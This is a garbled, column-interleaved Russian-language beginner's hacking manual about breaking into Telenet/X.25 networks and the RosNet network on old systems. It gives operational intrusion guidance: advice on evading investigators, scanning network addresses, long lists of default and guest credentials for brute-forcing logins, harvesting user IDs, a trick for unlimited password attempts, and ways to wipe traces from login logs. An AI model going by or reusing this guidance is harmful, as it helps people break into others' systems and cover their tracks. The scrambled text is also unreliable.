остановятся ни перед чем, чтобы вычислить и прижать вас к стенке. И ес
◆ 131 DTE — DTE работает по протоколу Х.28; ли, как только вы берете трубку телефона, мгновенно подключаются мо
◆ 132 DTE — DTE отсоединено; демы, или если до вас доходят слухи, что друзьяприятели называют вас
«хакером, на след которого напали спецслужбы», то мы предлагаем вам
◆ 133 DTE — DTE недоступно; затаиться на какоето время и не заниматься взломом.
◆ 134 DTE — канал не существует; Существует несколько основополагающих моментов, которые
обязан знать каждый использующий модем при компьютерном взломе.
◆ 135 DTE — канал рестартован;
Мы посчитали необходимым включить их в эту книгу для того, чтобы вы
◆ 136 DTE — нет связи по Х.25; ни в коем случае не упустили их из виду. Вы постоянно должны быть на
чеку и следить за появлением таких настораживающих явлений, как:
◆ 137 DTE — адрес удаленного DTE не существует;
1. Необычные шумы на линии, при том, что обычно их не бывает.
◆ 138 DTE — нет виртуального канала.
2. По телефонной линии прослушиваются другие голоса.
Хакинг 39 40 Хакинг

Это иногда случается со старым оборудованием FDM, но может Напряжение, которое должно насторожить вас
быть вызвано и ответвлением провода, так что будьте осторожны! 90V при 2030Hz
3. Появление фургона или минифургона, припаркованного ря
дом с: На линии
а) телефонным столбом; 3050V

б) подземным паровым вентиляционным отверстием; Среднее напряжение


в) следите за появлением около телефонных столбов и вентиляци 600V. Осторожно! В модеме может сгореть MOV. Обычно при та
онных отверстий тряпок или кусков ткани с символикой MA BELL. ком напряжении телефонная сеть неисправна.
Это полный конец! Если вы заметили чтонибудь из вышеуказан Как правило, у спецслужб нет необходимого оборудования для то
ного, немедленно прекращайте все упражнения по крайней мере на ме го, чтобы следить за вашим компьютером с помощью отвода провода,
сяц. И обязательно убедитесь в том, что фургоны уехали, а не просто по и, уж конечно же, вряд ли у них будет база данных с вашим именем.
меняли место парковки.
Обратите внимание на провода, протянутые от фургона к теле Глава 4.
фонному столбу или вентиляционному отверстию, и на цвет, в который
выкрашен фургон (обычно фургоны спецслужб белого цвета). Также сле Определение номера телефона
дует выяснить, не принадлежит ли он (т.е. фургон) телефонной компа
нии. Спецслужбы используют еще один способ определения местона
хождения хакера. На сегодняшний день вычисление телефонного номе
4. Наличие незнакомого вам оборудования в нежилых комнатах ра стало доступным практически для всех. Недавно было обнаружено,
вашего дома обязательно должно вас насторожить. что если набрать 33 на некоторых телефонах, то на аппарате высветится
5. С вашей телефонной линией происходит чтото странное, и вы номер последнего звонка.
уверены в том, что соседи не имеют к этому никакого отношения. И мы уверены, что полиция будет пользоваться именно такими те
В целом это все, о чем мы хотели бы предупредить вас, но, конеч лефонами для вывода вас на чистую воду. Но все это, в основном, каса
но же, существует гораздо больше подозрительных явлений, которые мо ется радиотелефонов, а не обыкновенных городских линий. Радиотеле
гут предупредить вас о том, что спецслужбы напали на ваш след. фонная связь всегда была известна своей надежностью, но, конечно же,
не сейчас… Потому что такая телефонная станция — одно из самых луч
ших мест для занятий хакингом. Но заклинаем вас, не предпринимайте
Глава 3. ничего подобного в своем собственном доме! Самое подходящее время
для хакинга — ночь, когда дежурный оператор спецслужб наверняка
Ответвления провода спит.
На сегодняшний день этот способ вычисления хакеров остается
самым распространенным. Мы предлагаем лучшее руководство для тех, Глава 5.
кто хочет выявить явное отклонение провода. Если вы в состоянии поз
волить себе приобрести соответствующее оборудование, то сможете за Считывание RFI
ниматься тем, что называется «чистка» телефонной линии. Еще вы мо
жете собрать прибор, показывающий напряжение в сети. Если во время Это один из новейших способов вычисления хакеров, и мы абсо
телефонного разговора напряжение резко падает, то это означает, что от лютно уверены в том, что уж егото вам бояться не стоит. Для выполне
вашего телефона ответвлен провод или ктото подключился к линии. ния он слишком сложен и к тому же не всегда срабатывает. Особенно ес
Ниже приведены возможные показания прибора. ли вы находитесь в окружении телевизоров и компьютерных мониторов.
Считывание RFI осуществляется с помощью устройства, которое ловит
Хакинг 41 42 Руководство для начинающих

слабые радиочастоты вашего монитора и переводит их в видеосигналы.


И если это срабатывает, то оператор видит на своем компьютере изобра Руководство
жение с вашего монитора. Все это, конечно, впечатляет, но сначала пусть
оператор поймает ваш сигнал! для начинающих
Глава 6.
ESS
Глава 1.
Ко всем нашим радостям прибавляется еще одна — Electronic
Standardized Switching (или ESS), с чудесами которого мы все хорошо Опасно!
знакомы. Вы помните резкое повышение цен около года назад? «В строй
введена новая компьютеризированная система, которая разгрузит вашу После рассмотрения довольно большого массива информации
телефонную линию». Вранье! Единственная цель этой системы — ловить привлекает внимание тот факт, что никогда не существовало хорошего
хакеров. Это единственное, для чего она предназначена, и надо сказать, пособия, написанного для абсолютных новичков.
что делает это она очень и очень неплохо. С ее помощью телефонная К сожалению, быть хакером стало гораздо опаснее, чем в начале
компания может вычислить любой номер за 55 секунд. В системе регис восьмидесятых: как мы уже говорили выше, телефонные полицейские
трируются записи всех звонков, в том числе и местных! И даже если те имеют большее количество ресурсов, большее понимание и больший ин
лефонный аппарат неисправен, то ваша попытка с него кудато позво теллект, чем они показали в прошлом. Становится все более трудно ос
нить станет тут же известна полиции. Но не падайте духом! ESS еще не таться в живых как хакер достаточно долго, чтобы стать квалифициро
конец света. Что бы там ни изобрели на нашу голову, мы как занимались ванным в этом искусстве.
хакингом, так и будем. И, возможно, взломать ESS будет так же просто,
как и старую телефонную систему. Данная книга предназначена в помощь тем, кто только начинает
становиться на эту стезю.
Прекрасно! Вводный курс закончен!

Глава 2.
Этика
Пока существует компьютер, существуют хакеры. В 50х годах
в массачусетском институте технологии (MIT) студенты посвятили мно
го времени и энергии изобретению компьютеров. Правила и закон игно
рировались. Так же, как их привели в восторг итоги исследований, так
наши исследования приводят в восторг нас. Торжество хакера — не в на
рушении закона, а в волнующем процессе исследования и накопления
знаний. Хотим дать несколько рекомендаций, которых следует придер
живаться для того, чтобы не только не попасть в неприятное положение,
но и чтобы не повредить те компьютеры, которые станут объектом ваше
го профессионального внимания.
◆ Не вредить преднамеренно ни одной системе.
Руководство для начинающих 43 44 Руководство для начинающих

◆ Не изменять никаких системных файлов, кроме Первый шаг, который вы должны сделать, — идентифицировать
необходимых вам для дальнейшего доступа (троянские ваш местный порт дозвона. Сначала вы получите подсказку, говорящую:
кони, изменения в старых логах и т.п.) ТЕРМИНАЛ=
◆ Не оставлять никаких настоящих данных в системах, Это — ваш type терминала. Если вы имеете vt100 эмуляцию, напе
взломанных вами (перед использованием нового чатайте это в ответ на запрос. Или нажмите возврат, и она станет стан
программного продукта по взлому необходимо проверить, дартной установкой для режима терминала вводавывода.
не оставляет ли он ваш ID там, где вы побывали)
Теперь вы получите подсказку в виде значка @. В ответ напеча
◆ Не оставлять ваш реальный номер телефона никому, кого тайте:
вы не знаете. @c mail <cr>
◆ Не трогать правительственные компьютеры. и затем будет запрос об имени пользователя. Введите «phones» для
имени пользователя. Когда система запросит пароль, введите снова
◆ Наконец, вы должны фактически понять, что вы можете
«phones». Начиная с этого момента, это — управляемое меню. Исполь
прочесть все пособия в мире и прослыть знатоком, но пока
зуйте его, чтобы определить ваш общий dialup. Когда вы вызываете ваш
вы не начнете реально работать, все ваши знания равны
local dialup, вы еще раз пройдете запрос
нулю.
ТЕРМИНАЛ=
Одно из самых безопасных мест для начала хакерской карьеры —
и еще раз вы будете представлены перед @. Эта подсказка сообща
компьютерная система института. Университетские компьютеры имеют
ет, что вы соединены с Telenet PAD. PAD обозначает или Ассемблер/ди
слабую защиту и часто используются хакерами: поскольку каждый ком
зассемблер пакета (если вы говорите с инженером), или Public Access
пьютер используется множеством людей, маловероятно, чтобы вас ре
Device (если вы говорите с представителями маркетинга Теленета). Пер
ально вычислили среди юзеров, если вы были обнаружены.
вое описание более правильно.
Telenet работает, собирая данные, которые вы вводите на PAD,
Глава 3. с которым вы соединены, связывая информацию в куски по 128 байтов
Теленет (обычно, но цифра может быть изменена) и затем передавая их на скоро
сти в пределах от 9600 до 19 200 бода на другой PAD, который получает
Лучшее место для тренировок начинающего хакера — одна из данные и передает их компьютеру или системе, с которой имеется соеди
больших сетей типа Telenet. Почему? Вопервых, на сетях имеется ог нение. Изначально PAD позволяет соединить два компьютера, которые
ромное разнообразие компьютеров, есть из чего выбирать. Вовторых, имеют различные скорости или протоколы связи, на длинном расстоя
сети довольно хорошо продокументированы. Проще найти когото, кто нии. Иногда можно заметить запаздывание в отдаленном ответе машин.
может помочь вам с проблемой Telenet, чем искать помощи относитель Это называется Задержкой PAD и предназначено для ожидания, пока вы
но вашего местного компьютера колледжа или средней школы. Третье, пошлете данные через несколько различных линков.
сети более безопасны. Изза огромного числа запросов, которые прохо Что вы делаете с этим PAD? Вы используете его, чтобы соединить
дят каждый день по большим сетям, фактически тяжело отследить, отку ся с отдаленными компьютерными системами, печатая «C» для соедине
да и какой запрос сделан. Также очень просто маскировать ваше проник ния и затем Сетевой Адрес Пользователя (NUA) системы, к которой вы
новение, используя сеть, которая делает ваше хобби намного более хотите идти.
безопасным.
Если нет возможности соединения, вы получите сообщение типа
Telenet имеет большее количество компьютеров, соединенных
в сеть, чем любая другая система в мире, от Telenet вы можете иметь до refused collect connections
ступ к Tymnet, ItaPAC, Janet, DATAPAC, SBDN, PandaNet, THENET в сопровождении кодов ошибки, идущих справа, и система вернет
и целому набору других сетей. вас в @ prompt.
Руководство для начинающих 45 46 Руководство для начинающих

Имеются два пути, чтобы двигаться в обход сообщения – Refused После соединения вы получите сообщение, подобное
Collect. Первый — использование сетевого ID пользователя (NUI). Hayes 1200 бода outdial, Detroit, МI
NUI – это имя пользователя/pw комбинация, которая действует подоб
или
но кредиту по открытому счету на Telenet.
VEN TEL 212 Modem
Второй способ соединения состоит в том, чтобы использовать
или, возможно
частный PAD или через чтонибудь подобное Netlink от Главного ком
пьютера. Префикс в Telenet NUA часто (но не всегда) относится к теле Session 1234 established on Modem 5588
фонному коду города, где находится компьютер (то есть 713 xxx обозна Лучший способ выяснить команды состоит в том, чтобы напе
чало бы компьютер в Хьюстоне, Штат Техас.) Если имеется чатать «H» или «Help» — это даст вам всю информацию, которая необхо
специфическая область, интересующая вас, скажем, НьюЙорк (код дима.
914), вы можете набрать:
Подсказка по безопасности здесь — когда вы будете взламывать
@C 914 001 <cr> какуюлибо систему через телефонный дозвон, всегда используйте outdi
al или diverter, особенно если это местный номер телефона. Многие лю
Если соединение прошло, вы получите сообщение об этом и пе
ди занимаются хакингом на местных компьютерах.
рейдете к 914 002. Делайте это, пока не найдете какихлибо интересных
систем для занятия ими. Другая хорошая уловка, которую вы можете применить с outdi
al, — использование повторного набора или функций макрокоманды,
Не все системы находятся на простом xxx yyy адресе. Некоторые
которую многие из них имеют. Первая вещь, которую надо сделать после
составлены из четырех или пяти цифр (914 2354), а некоторые имеют де
соединения, — вызвать «Повторный набор последнего номера» (Redial
сятичные или числовые расширения (422 121A = 422 121.01). Вы можете
last number). Это будет номер того человека, который использовал канал
заниматься ими, но вы никогда не знаете, что вы можете найти.
до вас. Запишите его, поскольку никто не вызвал бы номер без наличия
Полное сканирование префикса займет десять миллионов вари компьютера на нем. Это — хороший способ найти новые системы для ха
антов. Например, если нужно просмотреть 512 полностью, то необходи кинга. Для VENTELмодема наберите «D», и вам будет показано пять
мо начать с 512 00000.00 и пройти до 512 00000.99, а затем увеличить ад номеров, сохраненных как макрокоманды в памяти модема.
рес на 1 и пройти от 512 00001.00 до 512 00001.99. Бесконечное
И наконец, вы можете соединяться с тем, что называется «X. 25
сканирование!
Communication PAD», получив несколько больше материала, сопровож
Имеется множество компьютеров для просмотра с тремя номера даемого подсказкой @. Это PAD, точно такой же, как тот, с которым ра
ми, так что не стоит заниматься безумством с большими расширениями. ботаете вы, за исключением того, что все предпринятые подключения
объявляются PAD, позволяя вам соединиться с теми узлами, которые ра
Иногда при попытке соединения будет проходить одна или две
нее отказались от подключения.
минуты ожидания. В этом случае вы можете прервать связь посредством
жесткого разрыва, затем, после того как вновь система выдаст Когда пакет передан от PAD к PAD, он содержит заголовок, в ко
тором размещена информация о вашем местоположении. Например,
@ prompt
когда вы вначале соединяетесь с Telenet, вам может быть сообщено
наберите «D» для отсоединения. 212 44A Connected
если вы звоните с кода города 212. Это означает, что вы вызывали
Outdials номер 44A PAD в 212 области. 21244A будет проставлено на заголовке
Кроме компьютеров, NUA может подключить вас к некоторым всех отправляемых пакетов.
другим вещам.
Как только вы соединяетесь с частным PAD, все пакеты, выходя
Одна из наиболее полезных — outdial. Outdial — это не более чем щие от вас будут иметь этот адрес на них, но не ваш. Это может быть до
модем, которым можно заняться по telenet — подобно концепции пре статочным буфером между вами.
следования PC, за исключением того, что тут не используются пароли.
Руководство для начинающих 47 48 Руководство для начинающих

Глава 4. Если учетная запись читается как [234,1001] BOB JONES, то мож
но попробовать набрать BOB или JONES или эти два слова вместе для
Идентификация операционных систем пароля на этой учетной записи. Чтобы войти, вы печатаете:
.login xxx, yyy
Не имеет значения, как вы нашли компьютер, это могло произой
ти через сеть или могло быть обнаружено при помощи сканирования те и затем, после запроса, набираете пароль.
лефонного префикса вашей университетской сети. Важно, что вы уже Система позволит вам неограниченные попытки проникновения
имеете подсказку, и вы задаете себе вопрос: какого черта это значит? и не сохраняет отчеты неудачных попыток входа в систему. Также она со
Мы не собираемся объяснять вам, что можно сделать, как только общит вам, если UIC, который вы пробуете (UIC = Код Идентификации
вы окажетесь внутри какойлибо операционной системы. Мы расска Пользователя) плох.
жем, как идентифицировать и распознать некоторые операционные сис
темы и как приблизиться к хакингу в них, как иметь дело кое с чем, чего UNIX
вы никогда не видели прежде. Имеется множество различных машин, на которых установлен
UNIX.
VMS
В то время как некоторые могли бы доказывать, что это не лучшая
VAXкомпьютер создан Digital Equipment Corporation (DEC) и вы операционная система в мире, она наиболее широко используема. Сис
полняет VMS (Виртуальная система памяти) операционную систему. тема UNIX будет обычно выдавать подсказку наподобие
VMS определяется по подсказке: login:
USENAME в строчных буквах. UNIX также даст вам неограниченные попыт
ки при регистрации (в большинстве случаев), и не имеется обычно ника
Она не будет сообщать вам, если вы ввели неправильное имя кого журнала, сохраняющего неудачные попытки.
пользователя, и отсоединит вас после трех неудачных попыток входа в
систему. Также она следит за всеми неудачными попытками входа в си Prime
стему и сообщает владельцу учетную запись при его следующем выходе
в сеть. Компьютеры фирмы Prime, как правило, используют операцион
ную систему Primos. Ее очень просто определить по надписи
Это — одна из наиболее безопасных операционных систем, что ка Primecon 18.23.05
саемо защиты от внешнего проникновения, но и здесь имеется много
уловок для обхода защиты. VAX также имеет лучший набор справочных или чегото подобного, в зависимости от версии операционной
файлов в мире. Только наберите «HELP» и читайте. системы. Обычно не будет предлагаться никакой подсказки. Там, где по
явилась эта надпись, наберите
DECB10 login <username>
DEC10 — более ранние модели оборудования компьютера DEC, Если это версии до 18.00.00 Primos, вы можете нажимать связку ^C
запускающие TOPS10 операционную систему. Эти машины могут быть для пароля. К сожалению, большинство людей использует версии 19 +.
опознаны по подсказке «.». Primos также располагает хорошим набором справочных файлов. Одна
из наиболее полезных особенностей Prime на Telenet — устройство по
Серия DEC10/20 весьма дружественна к хакерам, позволяя ввес имени NETLINK. Как только вы — внутри, напечатайте «NETLINK», и
ти несколько важных команд без какойлибо регистрации в системе. От следуйте указаниям справки. Это позволит вам соединяться с NUA'ми во
четность находится в формате [xxx, yyy], где xxx и yyy — целые числа. Вы всем мире, используя команду «nc».
можете получить листинг отчетности и имен процесса каждого на систе
ме перед регистрацией при помощи команды .systat (для системного со Например, чтобы соединиться с NUA 026245890040004, вы долж
стояния). ны набрать
Руководство для начинающих 49 50 Руководство для начинающих

@nc:26245890040004 NOS
в подсказке netlink. NOS созданы для Networking operation system и выполняются на
компьютере Cyber, созданном Control Data Corporation. NOS идентифи
HPBx000 цируют себя с готовностью, с заголовком
Эта система сделана HewlettPackard. Их характерная подсказка WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA
«:». HEWLETTPACKARD имеет одну из более сложных последователь 1978,1987
ностей входа в систему извне — вы набираете: Первая подсказка, которую вы получите, будет
HELLO SESSION NAME,USERNAME,ACCOUNTNAME,GROUP FAMILY:
К счастью, некоторые из этих полей могут быть оставлены пусты В ответ нужно только нажать return. Тогда вы получите подсказку
ми во многих случаях. Так как любые или все эти поля могут быть запа
ролированы, это — не самая простая система для проникновения, если user name:
бы не факт, что имеется обычно некоторая отчетность вокруг без паро Имена пользователя — типичные 7 символов буквенноцифрово
лей. Вообще, если значения по умолчанию не работают, вы будете долж го характера. Отчетность Оператора начинается с цифры, типа 7ETP
ны применить грубую силу, используя обычный список пользователей. DOC.
HPx000 выполняет MPE операционную систему, подсказка для нее бу
дет «:», точно так же, как подсказка входа в систему. Decserver
Это не совсем компьютерная система, это, скорей, сетевой сервер,
IRIS который имеет много различных машин, доступных с его помощью.
IRIS создан для Interactive Real Time Information System (интерак Decserver может сказать:
тивная информационная система в режиме реального времени). Перво Enter Username>
начально она выполнялась на PDP11'S, но теперь выполняется на мно после первого соединения. Это — только идентификатор. Напеча
гих других миниЭВМ. Вы можете определить АЙРИС по заголовку тайте «c», поскольку это — наименее заметная вещь для ввода. Тогда вы
Welcome to «IRIS» R9.1.4 Timesharing можете получить подсказку
и подсказке Local>
ACCOUNT ID? Наберите здесь
Iris позволяет неограниченные попытки при хакинге и не сохра с <systemname>
няет никаких журналов неудачных попыток. чтобы соединиться с системой. Для получения списка системных
имен напечатайте
VM/CMS sh servises
VM/CMS — операционная система, выполняемая в IBM (Interna
или
tional Business Machines). Когда вы соединяетесь с одной из них, вы полу
чите сообщение, наподобие sh nodes
VM/370 ONLINE Если у вас есть какието проблемы, встроенная подсказка доступ
на по команде «help». Ищите услуги по имени «modem», или «dial», или
затем подсказку «.», точно так же как в Tops10. Чтобы войти, на
чтото подобное, они часто могут быть полезны!
берите:
LOGON <username>. GS/1
GS/1 — другой тип сетевого сервера. В отличие от Decserver, вы не
можете предсказать то, какую подсказку GS/1 шлюз собирается дать вам.
Стандартная подсказка:
Руководство для начинающих 51 52 Руководство для начинающих

GS/1 > Hacker's Utility v1.02


но это предназначено для системных администраторов. Чтобы те Эта программа включает в себя множество полезных утилит. В нее
стировать GS/1, набирайте: входит:
sh d ◆ крекер паролей
Если появится большой список значений по умолчанию (скорость
◆ генератор паролей
терминала, подсказка, четность, и т.д.), можно смело сказать, что вы
находитесь на GS/1. Вы соединяетесь тем же самым способом, как ◆ port scanner
и с Decserver, печатая:
◆ finger lookup
C < systemname >
◆ file extractor и многое другое!
Чтобы выяснять, что системы являются доступными, наберите:
sh n CyberKit v. 2.4
или В этой программе есть:
sh C ◆ TraceRoute
Все вышеупомянутое – это главные типы систем, используемых
◆ WhoIs
сегодня. Имеются сотни вариантов этих систем, но написанного здесь
должно быть достаточно, чтобы дать вам возможность начать. ◆ Finger
◆ Name Server LookUp
Глава 5. ◆ Time Synchronizer
Список программ для начинающего ◆ Quote of the Day и многое другое.
хакера PGP Freeware v5.0
Ниже приведен список программ для начинающего хакера. Сна Эта программа предназначена для шифрования информации. Ты
чала инструменты: маленький список программ, которые достойны на любишь секретность? Да? Значит, эта программа для тебя! Изучи эту
ходиться в арсенале любого хакера. Эти программы не сделают из вас ха программу, используй ее. Зашифруй свою почту, зашифруй свои файлы,
кера и использование их не обязательно для того, чтобы стать им. Эти зашифруй себя!
инструменты (программы) могут помочь вам узнать много полезного
и необходимого. 7th Sphere PortScan v1.1
Полезный и очень быстрый сканер портов от 7th Sphere. Очень
ToneLoc v1.10 прост в установке и в работе.
Эта программа является сканером. Задача этой программы — про А теперь два главных правила :
сканировать местную телефонную линию на наличие модема на другом
конце. Если присутствует модем на другом конце линии, значит, воз 1. Чтобы стать хакером, понадобится много времени. И все это
можна связь с удаленным компьютером, не так ли? время вы должны полностью использовать. Чтобы научиться чемуни
будь, есть один только путь — вы должны читать, читать и еще раз читать.
Cracker Jack v1.4 Со временем у вас будут появляться все новые и новые вопросы, которые
Крекер паролей. Эта программа работает под ДОС, и задача ее со вы сможете задать тому, кто знает на них ответ. Посещайте крэкерские
стоит в нахождении и взломе пароля под Юникс. и хакерские форумы!
2. Изучайте программирование, язык скриптов, а предпочтитель
ней языки под Юникс (C++, Perl, JavaScript и другие). Также следует
Руководство для начинающих 53 54 Руководство для начинающих

изучать ОС Unix, протоколы TCP/IP . Имея знания в этих областях, вы редко, но иногда получается, если спросят пароль — попытайтесь
сможете... подобрать (хотя админы любят абсолютно «левые» крутые пароли). В ди
ректории админа есть куча файлов с наиполезнейшей информацией.

Глава 6 (вместо примера). 5. Пробравшись под взломанным логином в меню регистрации,


ни в коем случае не меняйте пароль абонента и не переводите его деньги
Как ломалась сеть РОСНЕТ на другой счет. Админ это обязательно заметит и примет меры.
6. После того, как вы лазили под чьимто логином, обязательно
Несколько основных положений перезайдите под гостевым входом n'ное количество (везде поразному)
1. Для начала вы должны осознать, что ничего серьезного лучше раз. Этим вы забьете информацию о входивших пользователях — «/r» бу
не хакать (либо делать это очень осторожно), так как вас могут очень дет показывать, что последние десять раз в систему входил «гость».
быстро найти. Дело в том, что у Администратора системы высвечивается
7. Если вы делали чтото, что другим знать не обязательно, обяза
куча всякой информации. С помощью этой информации он легко опре
тельно повводите какойнибудь макрос (примерно тридцать раз). Этим
деляет город, из которого вы вошли в Роснет, а также номеp узла и номеp
вы исключите просмотр выполнявшихся вами команд по «/e ?».
канала, по котоpому вы вошли; также возможно определить и промежу
точную сеть, из которой вы вышли в Роснет. А зная город, не составит
большого труда найти и абонента, который в этот промежуток времени Как найти выход в РОСНЕТ
висел на номере входа в Роснет. Можно, конечно, войти сначала в одну Номер телефона Роснета вы можете узнать очень просто — из спи
сеть, из нее в другую, потом в третью и т.д., а потом в Роснет, это, бес ска телефонов Роснета по СНГ. Но возможно, что указанные номера уже
спорно, замедлит поиск, но не исключит его. не являются выходом в Роснет, так как их могли по какойнибудь причи
не сменить. В этом случае вы можете заняться сканингом. То есть взять
2. Заниматься своим «темным» делом вы должны с 20:00 (не ра скрипт или соответствующую программу и перебрать номера в городе на
нее!) до 00:00 часов местного времени. Так как в это время админы уже не предмет коннекта.
работают, а следовательно, не следят за системой. Внимание! Иногда,
очень редко, админы работают круглосуточно. А выйти до 00:00 нужно
потому, что Ремарт регистрирует дату последней связи, а в 00:00 вся ин
Определение системы и обнаружение
формация обнуляется. Обнулить информацию можно и другим спосо гостевого входа
бом — повесив Ремарт. Также следует помнить, что во многих системах Для большинства хаков вам нужно иметь хотя бы минимальный
производится закрытие хоста на ночь (обычно это период 00:00–03:00). доступ на хосте. Поэтому мы решили начать именно с этого. Итак, до
Никогда не пытайтесь чтонибудь сломать днем или утром, все ваши по пустим, у вас есть горка адресов разных хостов, что же делать дальше?
пытки будут пресечены, а если админ сильно рассердится, то и демовход Нужно проверить работоспособность этих адресов, выяснить, какая сис
закроет. тема там установлена, уровень его защищенности и имеет ли этот хост
гостевой вход.
3. Перед тем, как чтонибудь хакать, войдите на хост под гостевым
паролем (если такой имеется) и сразу же введите «/u», чтобы убедиться, Итак, допустим, вы зашли на какойнибудь приглянувшийся вам
что в данный момент в системе нет админа или лиц, к нему приближен хост.
ных. Как только убедились, что админа нет, вводите «/r», чтобы посмо
Первым делом нужно попробовать определить систему, которая
треть, насколько давно админ был в системе. Если все ОК — присту
там установлена. С ходу систему можно определить, конечно же, по при
пайте...
глашению.
4. Если вы зашли в систему, сразу попытайтесь залезть в директо
Дальше идет несколько приглашений, свойственных той или иной
рию администратора системы
системе.
GO ADMIN
Руководство для начинающих 55 56 Руководство для начинающих

Ремарт Demo1/Demo1
Display ANSI graphics ([Y]/N)? > и т.д., потом попробуйте просто вышепреведенные логины без па
[...Какой нибудь текст (его может и не быть)...] ролей. Для ускорения этого процесса используйте скрипт. В среднем за
UserID : ночь один хост (при помощи скрипта) вы «проштудируете».
Password:
Дионис Если гостевого входа нет
ENTER YOUR NAME => Если демовхода не обнаружено, попробуйте следующее:
PASSWORD =>
UUCP/UUCP
LANGUAGE =>
этот пароль стоит в Ремарте по умолчанию, и часто админы забы
REX400 вают его сменить.
Logical Channel: 0
REX400 v4.54.02, Copyright (C) 1992 1996, Club400 Ltd. UUCP/PCUU
<<< WELCOME TO REX400 ADMD=REX400 PRMD=RTS >>> Возможно, пароль будет такой.
^^^^^^ UUCP/UUADMIN
M) Mail H) Help А может быть, и такой.
G) GateWay Q) Quit
Multi Host> В общем, пофантазируйте, может быть, чтонибудь и получится.
CISCOBМаршрутизатор Если это не помогло, пробуйте следующие:
User Access Verification Alex/Alex Luda/Luda Boris/Boris
Password: Ludmila/Ludmila Yura/Yura Dasha/Dasha
Если вы обнаружили Ремарт, начинайте проверять хост на нали Alexey/Alexey Olga/Olga Boria/Boria
чие гостевого входа, попробуйте следующие комбинации: Alexandr/Alexandr Egor/Egor Katia/Katia
(UserID/Password): Alexander/Alexander Igor/Igor Anna/Anna
Demo/Demo Test/Test Guest/Guest Gast/Gast Gost/Gost User/User Dima/Dima Vladimir/Vladimir John/John
Demo/Guest Test/Guest Guest/Test Gast/Demo Gost/Demo User/Demo Dmitry/Dmitry Vova/Vova Nik/Nik
Demo/Test Test/Demo Guest/Demo Gast/Guest Gost/Guest User/Guest Dmitriy/Dmitriy Vladymir/Vladymir Kolia/Kolia Diman/Diman
Demo/Gast Test/Gast Guest/Gast Gast/Test Gost/Test User/Test Dimon/Dimon Toma/Toma Eugene/Eugene Vlad/Vlad Sergey/Sergey
Demo/Gost Test/Gost Guest/Gost Gast/Gost Gost/Gast User/Gast Elena/Elena Den/Den Serg/Serg
Demo/User Test/User Guest/User Gast/User Gost/User User/Gost Segre/Serge Victor/Victor Gera/Gera
Demo/New Test/New Guest/New Gast/New Gost/New User/New Gosha/Gosha Nikolay/Nikolay Tonya/Tonya
Demo/Temp Test/Temp Guest/Temp Gast/Temp Gost/Temp User/Temp Gesha/Gesha Denis/Denis Viktor/Viktor
New/New Temp/Temp Helen/Helen Sasha/Sasha Leonid/Leonid
New/Demo Temp/Demo Ira/Ira Greg/Greg Marina/Marina
New/Guest Temp/Guest Iren/Iren Misha/Misha Andre/Andre
New/Test Temp/Test Irina/Irina Stas/Stas Andy/Andy
New/Gast Temp/Gast Lena/Lena Gena/Gena Andrey/Andrey
New/Gost Temp/Gost Lio/Lio Yuri/Yuri Oleg/Oleg
New/Temp Temp/New Lion/Lion Yury/Yury Kiril/Kiril
New/User Temp/User Leo/Leo Yuriy/Yuriy Eugeny/Eugeny
Max/Max Anton/Anton Eugeniy/Eugeniy
Перепробуйте также все приведенные комбинации, добавляя
Maxim/Maxim Peter/Peter Evgeniy/Evgeniy
цифры, например:
Petr/Petr Svetlana/Svetlana Artur/Artur
Руководство для начинающих 57 58 Руководство для начинающих

Slava/Slava Ivan/Ivan Yaroslav/Yaroslav Подбор пароля


Mih/Mih Valera/Valera Yar/Yar
Если вас не устраивают ваши полномочия, попробуйте подобрать
Valery/Valery Valeriy/Valeriy Tomara/Tomara
пароль у какогонибудь другого пользователя.
и т.д.
Подбор бывает трех типов:
Если ничего не получилось, то чтолибо хакнуть на этом хосте вам
вряд ли удастся. Так как он довольнотаки неплохо защищен. 1 — Подбор паролей по словарю (словарный метод).
2 — Перебор (подбор пароля путем перебора).
Как узнать ID
3 — Интеллектуальный подбор (подбор с использованием допол
Если вы вошли в систему, сразу же попытайтесь узнать список нительной информациии о пользователях.
пользователей данного хоста.
Для первых двух способов подбора вы можете использовать
Узнать список пользователей довольно легко. Зайдя в систему, по скрипт или осуществлять все действия «руками», первое, как вы понима
пробуйте попасть в меню «Регистрация». В этом меню можно ознако ете, предпочтительнее. Третий способ придется осуществлять «ручка
миться с полным списком абонентов данного хоста. Если через меню ми».
вход закрыт, пробуйте так:
go reg Ниже приводятся некоторые сведения, которые помогут вам при
подборе пароля:
или
◆ Большим недостатком Ремарта является то, что большие
go registry
и малые регистры не различаются.
или
◆ Логин и пароль могут совпадать.
go onboard1
onboard — раздел регистрации. ◆ Пароль может быть из трех символов.
Для того чтобы узнать имя раздела, нужно попасть в раздел MAIN ◆ Пароль не может превышать 8 символов.
(GO MAIN или через меню системы пункт «Библиотека» и вызвать дере
◆ Неограниченное количество попыток при вводе пароля.
во директорий TREE, либо TYPE LIB или TYPE LIBS или TYPE LIB
TREE. ◆ Несомненно, вам помогут списки пользователей хоста.
1 — номер меню «Список абонентов». Неограниченное количество попыток при вводе пароля
Совсем недавно был замечен новый глюк, в частности на 6100255 Итак, чтобы на перебор паролей затрачивалось меньше времени,
список абонентов можно узнать, пpосто скачав деpево диpектоpий, там то есть чтобы вам предоставлялось неограниченное количество попыток
для каждого пользователя системы создан одноименный каталог, к сожа при вводе пароля, нужно сделать следующее.
лению, этот глюк быстро закрыли. Ваш друг заходит на хост (допустим под позывом Demo и паролем
Если список взять не удалось, придется доставать ID другим спо Demo). После того, как он зашел на хост под Demo/Demo, вы тоже начи
собом. Залезьте в библиотеку и там, исходя из того, что к каждому файлу наете пытаться зайти на этот хост под тем же логином. Вам сообщают
пишется имя абонента, закатавшего его туда, можно получить некоторое следующее (или чтото вроде этого):
количество ID. Теперь если есть доступ к почте, таким же образом мож Абонент с таким позывным уже работает в системе!
но посмотреть ID авторов писем. Если этих ID вам мало, можно, орудуя Если Вы не знаете, кто бы это мог быть, и если это действительно
/u и /r, «выловить» еще 1015 ID. Потом вызывайте паспорта найденых Ваш позывной, то срочно обратитесь к администратору системы за
абонентов (/a <имя_абонента>). «Сграбьте» их в файл. Теперь вы распо разъяснениями.
лагаете достаточной информацией о пользователях — можно приступать Вы можете позвонить по телефону 206 85 70 или 924 74 85
к подбору пароля.
Руководство для начинающих 59 60 Руководство для начинающих

И снова просят ввести ID и Password. Повторяете вышеуказанное ◆ Ukrpack/Ntkytn — фирма (русскими буквами в английском
три раза (используете три попытки). И после этого можете пробовать лю регистре)
бые логины с любыми паролями бесконечное число раз!
